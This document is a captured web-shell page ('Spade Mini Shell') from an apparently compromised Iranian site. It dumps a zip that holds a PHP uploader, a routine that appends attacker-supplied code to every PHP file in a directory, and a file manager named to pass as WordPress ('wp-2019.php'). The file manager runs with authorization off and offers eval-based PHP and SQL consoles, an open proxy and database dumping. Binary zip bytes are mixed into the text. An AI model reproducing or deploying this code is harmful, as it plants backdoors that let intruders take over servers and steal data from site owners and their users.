Spade

Mini Shell

Directory:~$ /home/lmsyaran/www/khademsharif/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/www/khademsharif/khademsharif.atwh.ir.zip

PK1G�[���6��qpyufacb.phpnu�[���<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK1G�[��q��=�=wp-2019.phpnu�[���<?php
/* PHP File manager ver 1.5 */

// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0; 
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size →
maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string =
str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val,
true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" .
basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return
round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return
round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
	<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
		<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
		<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
		<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
		<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
		<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return
'<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path  . '\'"';
    return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
	if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return =
!empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post"
action="'.fm_url().'"
style="display:inline">
				<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link,
'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
 cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value"  cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) &&
isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password"
type="password">&nbsp;&nbsp;&nbsp;
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
		header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
	$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy"
value="true">
	'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
	<input type="submit"
value="'.__('Show').'"
class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
		$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width,
initial-scale=1" />
